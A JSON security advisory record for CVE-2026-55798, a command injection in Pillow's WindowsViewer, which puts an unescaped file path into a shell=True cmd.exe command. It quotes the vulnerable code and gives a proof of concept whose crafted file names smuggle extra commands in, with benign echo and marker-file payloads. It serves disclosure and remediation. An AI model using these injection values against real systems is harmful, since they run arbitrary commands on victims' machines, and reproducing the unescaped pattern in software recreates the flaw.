{"id":"CVE-2026-55798","aliases":["GHSA-4x4j-2g7c-83w6","BIT-pillow-2026-55798","PYSEC-2026-2257"],"title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","severity":"medium","cvss":4.5,"cvssVector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","vendor":"pillow","product":"pillow","ecosystem":"pip","affected":["pillow < 12.3.0"],"patched":["pillow 12.3.0"],"published":"2026-07-20","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:10.324377232Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6","references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"},{"url":"https://github.com/python-pillow/Pillow"},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}],"tags":["osv","pip"],"epss":0.00179,"epssPercentile":0.07662,"ingestedAt":"2026-07-13T18:58:08.618Z","slug":"CVE-2026-55798","body":"## Overview\n\n### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `&` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -> str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"&& ping -n 4 127.0.0.1 >NUL \"\n            f'&& del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -> int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -> str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" & echo PWNED & echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" & echo PWNED & echo \"\" && ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ & echo PWNED                           → INJECTED COMMAND\n# └─ & echo \"\"  && ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED > \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" & {payload} & echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---\n\n## Affected packages\n\n- `pillow < 12.3.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pillow 12.3.0`","depth":"sunlit","depthScore":25,"depthScoreParts":{"impact":24.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}